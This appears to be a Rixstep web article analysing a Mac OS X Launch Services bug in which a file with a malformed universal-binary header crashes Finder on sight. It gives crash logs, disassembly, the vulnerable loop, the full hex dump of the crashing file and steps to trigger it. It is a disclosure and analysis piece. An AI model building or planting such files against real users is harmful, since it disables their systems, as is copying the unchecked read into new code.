About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Home » Learning Curve » Hotspots

Epic Fail for Apple's Launch Services

Can it be exploited?


Buy It

Try It

Apple's launch services have a fatal flaw which can render Mac OS X unusable. This flaw has been known for a long time and Apple have known about it for a long time as well. The flaw doesn't seem to have been exploited. But an unskilled user might be rendered rather helpless. Joe Ranieri of Alacatia Labs discovered the flaw over a year ago and reported it to Apple back in February 2008.

5771210

'What would you say to an application that crashes Finder to the point of being useless? One that merely has to be downloaded and not even run?' asks Ranieri rhetorically. What would one say indeed. It's easy to find out - just download the 1 KB package - preferably to your desktop - and unzip it.

There's a QuickTime clip available here.

Finder's Crash Log

So what happens? How can the mere existence of a file bring the system down? Here's Finder's crash log.

Thread 2 Crashed:
0   com.apple.LaunchServices       	0x918a001f LSAddExecutableFormatInfo(char const*, unsigned long, OpaqueResourceFileRef*, unsigned*, __CFDictionary*) + 717
1   com.apple.LaunchServices       	0x9189847a LSAddBundleExecutableInfo(__CFBundle*, LSRegistrationInfo*, __CFDictionary*) + 398
2   com.apple.LaunchServices       	0x918972c5 LSRegisterDirectoryNode(LSContext*, FSNode*, LSRegistrationInfo*, AliasRecord const*, unsigned long*) + 395
3   com.apple.LaunchServices       	0x91894658 _LSFindOrRegisterBundleNode + 1064
4   com.apple.LaunchServices       	0x918a2235 _LSCopyItemAttributeForRefInfo + 179
5   com.apple.DesktopServices      	0x92521c5b LockLSCopyItemAttributeForRefInfo(LSExtendedFSRefInfo const*, unsigned long, __CFString const*, void const**) + 61
6   com.apple.DesktopServices      	0x925219a0 THFSPlusRef::GetDistinctDisplayName(unsigned long, FSCatalogInfo*, HFSUniStr255&) const + 170
7   com.apple.DesktopServices      	0x925218bb THFSPlusRef::SetDisplayName(unsigned long, FSCatalogInfo&) + 61
8   com.apple.DesktopServices      	0x92520f14 THFSPlusRef::Set(bool, FSRef const&, HFSUniStr255 const*, short, unsigned long, bool, unsigned long, FSCatalogInfo*) + 1274
9   com.apple.DesktopServices      	0x92527999 THFSPlusIterator::Next(THFSPlusRef&) + 335
10  com.apple.DesktopServices      	0x92527819 THFSPlusSynchronizer::Next(THFSPlusStore&) + 29
11  com.apple.DesktopServices      	0x925300aa THFSPlusStore::SynchronizeChildren(TChildrenList&) + 146
12  com.apple.DesktopServices      	0x9252ffda TNode::SynchronizeChildren() + 54
13  com.apple.DesktopServices      	0x9252fa92 TNode::ReconcileChildren(TNode::StSynchronize const&, bool) + 78
14  com.apple.DesktopServices      	0x9252de5e TNode::HandleSync(bool) + 374
15  com.apple.DesktopServices      	0x9251ea73 TNodeSyncTask::SyncTaskProc(void*) + 447
16  ...ple.CoreServices.CarbonCore 	0x90cb5f84 PrivateMPEntryPoint + 51
17  libSystem.B.dylib              	0x90023d67 _pthread_body + 84

What's immediately obvious is that something in the launch services went south. Something is sent to the launch services; _LSFindOrRegisterBundleNode() is going to see if the file in question is already registered - and if not then register it.

'From the looks of it, it's trying to determine the format of the executable', writes Ranieri.

movl        0xfffffb08(%ebp),%eax
leal        0xfffffd34(%ebp),%edx
movl        $0x00000200,0x08(%esp)
movl        %edx,0xfffffafc(%ebp)
movl        %edx,0x04(%esp)
movl        %eax,(%esp)
calll       read$UNIX2003

'You'll notice it's only reading 512 (0x200) bytes. A bit after this it checks the first long in the data to see which type of executable it is - Mach-O, Mach-O 64-bit, PEF, or a fat binary. If we go down the function a bit more, you'll notice there's some strings for each arch type (ppc, ppc64, i386, x86_64). So, what it must be doing is looping through each fat_arch that follows the fat_header. However, since we're getting crashes, it must not be making sure that it stops reading at the end of its buffer.'

Oops. The 'binary' in the bomb you may have just downloaded looks namely like this.

00000000  ca fe ba be ff ff ff ff  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Save for the first eight bytes it's completely zeroed out. The first four bytes ('cafebabe') indicate this is a universal binary; the second four bytes give the count of architectures - 0xffffffff (4,294,967,295).

So basically Finder is checking out the newcomer. But is Finder simply reporting to the launch services or is it asking for something in return? Almost anyone can be made to crash in the same way. And no matter what they ask for, the launch services get involved and then try to do some bookkeeping of their own. And trip over their own feet.

0   com.apple.LaunchServices 	0x918a001f LSAddExecutableFormatInfo(char const*, unsigned long, OpaqueResourceFileRef*, unsigned*, __CFDictionary*) + 717
1   com.apple.LaunchServices 	0x9189847a LSAddBundleExecutableInfo(__CFBundle*, LSRegistrationInfo*, __CFDictionary*) + 398
2   com.apple.LaunchServices 	0x918972c5 LSRegisterDirectoryNode(LSContext*, FSNode*, LSRegistrationInfo*, AliasRecord const*, unsigned long*) + 395
3   com.apple.LaunchServices 	0x91894658 _LSFindOrRegisterBundleNode + 1064
4   com.apple.LaunchServices 	0x918a798d _LSCopyDisplayNameForNode + 155
5   com.apple.LaunchServices 	0x918a78d1 _LSCopyDisplayNameForRefInfo + 131
6   com.apple.LaunchServices 	0x918a9698 LSCopyDisplayNameForRef + 76
7   com.apple.Foundation     	0x9262c528 -[NSFileManager displayNameAtPath:] + 109
8   com.panic.FTPKit         	0x00171b3e +[ItemFactory localItemWithPath:includeIcon:showExactFileSizes:iconType:] + 1158
9   com.panic.Transmit3      	0x000c8a04 -[DirectoryCache(DirectoryLoading) addLocalItem:inDirectory:toItems:iconType:] + 274
10  com.panic.Transmit3      	0x000df185 -[PCFolderLoader(Internals) loadLocalPathInThread:] + 533
11  com.apple.Foundation     	0x925f836c forkThreadForFunction + 123
12  libSystem.B.dylib        	0x90023d67 _pthread_body + 84

Whenever this code was first written - probably at Apple after the merger - someone figured it wasn't necessary to check for buffer overrun. As in 'who would ever corrupt a binary?' But accidents happen, disks screw up, and there's always one kind soul out there trying to help fate along. And it really doesn't take much code - or time - to fix this. A minute or two tops.

Try It Yourself

You can try this yourself but you should get things set up a bit first. Move the download to your desktop ('~/Desktop'). Open up a Terminal window in the same directory. Type in the following command but don't hit Enter yet.

% mv NukeApp.app NukeApp

(Removing the 'app' extension will stop programs from thinking they're looking at a Cocoa bundle.)

Double-click the download. After you get tired of watching things crash - hit Enter in your Terminal window.

It's Not Always Like This

Ranieri has evidence programmers in Cupertino have written similar code in a safer fashion. Taking the following snippet:

int file = open("/path/to/binary")
char buffer[512];

read(buffer, sizeof(buffer), file);

fat_header *header = buffer;
fat_arch *archs = buffer + sizeof(fat_header);

for (int i = 0; i < header->nfat_archs; i++) {
    // do something with archs[i]
}

'This situation comes up in a few diferent places', writes Ranieri. 'So how do they handle it?'

  • CFBundle restricts the nfat_archs count to the most that fits in the buffer.
  • The kernel loader returns an error if the archs exceed the size of its buffer (one page).

And it's not exploitable, insists Ranieri. ' You cannot inject code into Finder, the Dock, or any other process that crashes in this routine. It's simply a crash.'

But it's a nasty one. It might never result in MacConficker but it could leave an unskilled user helpless.

We have issues in Apple's bug tracking system that are over a year old. Some are quite serious with root level escalation. I feel your pain.
 - Joseph Cohen

See Also
Joe Ranieri: The Universal Binary of Crashiness

About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Copyright © Rixstep. All rights reserved.